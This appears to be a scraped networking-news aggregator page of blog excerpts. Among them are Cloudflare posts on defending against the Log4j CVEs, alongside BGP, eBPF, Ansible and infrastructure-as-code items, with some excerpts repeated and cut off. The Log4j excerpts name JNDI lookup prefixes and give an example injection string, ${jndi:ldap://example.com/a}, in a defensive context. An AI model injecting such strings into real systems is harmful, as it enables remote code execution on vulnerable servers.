Today is a deeply technical episode on DevOps, Azure, Docker, Terraform, and more. Our guest is Kyler Middleton, Principal DevOps Network Architect. Kyler is also a Pluralsight author and blogger.
The post Day Two Cloud 128: DevOps’ing All The Things appeared first on Packet Pushers.
Hot on the heels of CVE-2021-44228 a second Log4J CVE has been filed CVE-2021-45046. The rules that we previously released for CVE-2021-44228 give the same level of protection for this new CVE.
This vulnerability is actively being exploited and anyone using Log4J should update to version 2.16.0 as soon as possible, even if you have previously updated to 2.15.0. The latest version can be found on the Log4J download page.
Customers using the Cloudflare WAF have three rules to help mitigate any exploit attempts:
| Rule ID | Description | Default Action |
|---|---|---|
100514 (legacy WAF)6b1cc72dff9746469d4695a474430f12 (new WAF) |
Log4J Headers | BLOCK |
100515 (legacy WAF)0c054d4e4dd5455c9ff8f01efe5abb10 (new WAF) |
Log4J Body | BLOCK |
100516 (legacy WAF)5f6744fa026a4638bda5b3d7d5e015dd (new WAF) |
Log4J URL | BLOCK |
The mitigation has been split across three rules inspecting HTTP headers, body and URL respectively.
In addition to the above rules we have also released a fourth rule that will protect against a much wider range of attacks at the cost of a higher false positive rate. For that reason we have made it available but not set it to BLOCK by default:
| Rule ID | Description | Default Action |
|---|---|---|
100517 (legacy WAF)2c5413e155db4365befe0df160ba67d7 (new WAF) |
Log4J Advanced URI, Headers | DISABLED |
Recently, we received a bug bounty report regarding the GPG signing key used for pkg.cloudflareclient.com, the Linux package repository for our Cloudflare WARP products. The report stated that this private key had been exposed. We’ve since rotated this key and we are taking steps to ensure a similar problem can’t happen again. Before you read on, if you are a Linux user of Cloudflare WARP, please follow these instructions to rotate the Cloudflare GPG Public Key trusted by your package manager. This only affects WARP users who have installed WARP on Linux. It does not affect Cloudflare customers of any of our other products or WARP users on mobile devices.
But we also realized that the impact of an improperly secured private key can have consequences that extend beyond the scope of one third-party repository. The remainder of this blog shows how to improve the security of apt with third-party repositories.
At first, we thought that the exposed signing key could only be used by an attacker to forge packages distributed through our package repository. However, when reviewing impact for Debian and Ubuntu platforms we found that our instructions were outdated and insecure. In fact, Continue reading
My recent post about Anycast in Segment Routing led to an interesting argument on whether other MPLS transport protocols can do anycast routing.
In that post, I wrote:
……MPLS is not a pure packet switching technology, but has a control
This article describes the strange workaround of switching VMware NSX-T enabled cluster from using vSphere Enterprise Plus license to vSphere Standard license with vDS licensed through NSX-T. I really hope that you will not need to go through this as it is quite like bringing the whole environment up from scratch. But if you have two clusters with enough resources it will enable you to do it without downtime. Environment on which this was tested is vSphere 7.0.2 and NSX-T 3.1.2 NSX-T as a network and security platform enables network functions to be virtualised on your vSphere cluster. The way
The post Switch vSphere Enterprise Plus license to vSphere Standard on a NSX-T enabled cluster appeared first on How Does Internet Work.
The Dynamic Negotiation of BGP Capabilities blog post generated almost no comments, apart from the #facepalm realization that a certain network operating system resets IBGP sessions when the sole EBGP session goes down, but there were a few interesting comments on LinkedIn and Twitter.
While most engineers easily relate to the awkwardness of bringing down a BGP session to enable new functionality (Tearing down BGP session, as a solution reminds me rebooting a host, as a solution.), it’s not as easy as it looks. As Adam Chappell put it “Dynamic capability renegotiation does tend to sound a bit like changing the tyres while still moving. Very neat if you can pull it off but so much to go wrong…”
The Dynamic Negotiation of BGP Capabilities blog post generated almost no comments, apart from the #facepalm realization that a certain network operating system resets IBGP sessions when the sole EBGP session goes down, but there were a few interesting comments on LinkedIn and Twitter.
While most engineers easily relate to the awkwardness of bringing down a BGP session to enable new functionality (Tearing down BGP session, as a solution reminds me rebooting a host, as a solution.), it’s not as easy as it looks. As Adam Chappell put it “Dynamic capability renegotiation does tend to sound a bit like changing the tyres while still moving. Very neat if you can pull it off but so much to go wrong…”
In this blog post we will cover WAF evasion patterns and exfiltration attempts seen in the wild, trend data on attempted exploitation, and information on exploitation that we saw prior to the public disclosure of CVE-2021-44228.
In short, we saw limited testing of the vulnerability on December 1, eight days before public disclosure. We saw the first attempt to exploit the vulnerability just nine minutes after public disclosure showing just how fast attackers exploit newly found problems.
We also see mass attempts to evade WAFs that have tried to perform simple blocking, we see mass attempts to exfiltrate data including secret credentials and passwords.
Since the disclosure of CVE-2021-44228 (now commonly referred to as Log4Shell) we have seen attackers go from using simple attack strings to actively trying to evade blocking by WAFs. WAFs provide a useful tool for stopping external attackers and WAF evasion is commonly attempted to get past simplistic rules.
In the earliest stages of exploitation of the Log4j vulnerability attackers were using un-obfuscated strings typically starting with ${jndi:dns, ${jndi:rmi and ${jndi:ldap and simple rules to look for those patterns were effective.
Quickly after those strings were being blocked and attackers Continue reading
eBPF has taken the Linux networking world by storm. But what is it, exactly? And how it is related to the open-source Cilium project? Duffie Cooley joins Scott Lowe on the Full Stack Journey podcast to discuss eBPF and Cilium. If you're into Linux, networking, or Kubernetes---or any combination of these---this episode is for you!
The post Full Stack Journey 061: Linux Networking And Observability With eBPF And Cilium appeared first on Packet Pushers.
With the release of Red Hat Ansible Automation Platform 2.1, we are proud to deliver the latest reference architecture on the best practices for deploying a highly available Ansible Automation Platform environment.
Why are you going to love it?This reference architecture focuses on providing a step-by-step deployment procedure to install and configure a highly available Ansible Automation Platform environment from start to finish.
But there’s more!
Aside from the key steps to install Ansible Automation Platform, it incorporates key building blocks to optimize your Ansible Automation Platform environments, including:
The reference architecture consists of two environments of Ansible Automation Platform: Ansible Site 1 and Ansible Site 2 for high availability. Site 1 is an active environment while Site 2 is a passive environment. Each site consists of the following:
On December 9, 2021, the world learned about CVE-2021-44228, a zero-day exploit affecting the Apache Log4j utility. Cloudflare immediately updated our WAF to help protect against this vulnerability, but we recommend customers update their systems as quickly as possible.
However, we know that many Cloudflare customers consume their logs using software that uses Log4j, so we are also mitigating any exploits attempted via Cloudflare Logs. As of this writing, we are seeing the exploit pattern in logs we send to customers up to 1000 times every second.
Starting immediately, customers can update their Logpush jobs to automatically redact tokens that could trigger this vulnerability. You can read more about this in our developer docs or see details below.
You can read more about how the Log4j vulnerability works in our blog post here. In short, an attacker can add something like ${jndi:ldap://example.com/a} in any string. Log4j will then make a connection on the Internet to retrieve this object.
Cloudflare Logs contain many string fields that are controlled by end-users on the public Internet, such as User Agent and URL path. With this vulnerability, it is possible that a malicious user can cause a remote Continue reading
Here’s a fun fact network automation pundits don’t want to hear: if you’re working with replaceable device configurations (as we did for the past 20 years, at least those fortunate enough to buy Junos), you already meet the Infrastructure-as-Code requirements. Storing device configurations in a version control system and using reviews and merge requests to change them (aka GitOps) is just a cherry on the cake.
When I made a claim along these same lines a few weeks ago during the Network Automation Concepts webinar, Vladimir Troitskiy sent me an interesting question:
Here’s a fun fact network automation pundits don’t want to hear: if you’re working with replaceable device configurations (as we did for the past 20 years, at least those fortunate enough to buy Junos), you already meet the Infrastructure-as-Code requirements. Storing device configurations in a version control system and using reviews and merge requests to change them (aka GitOps) is just a cherry on the cake.
When I made a claim along these same lines a few weeks ago during the Network Automation Concepts webinar, Vladimir Troitskiy sent me an interesting question: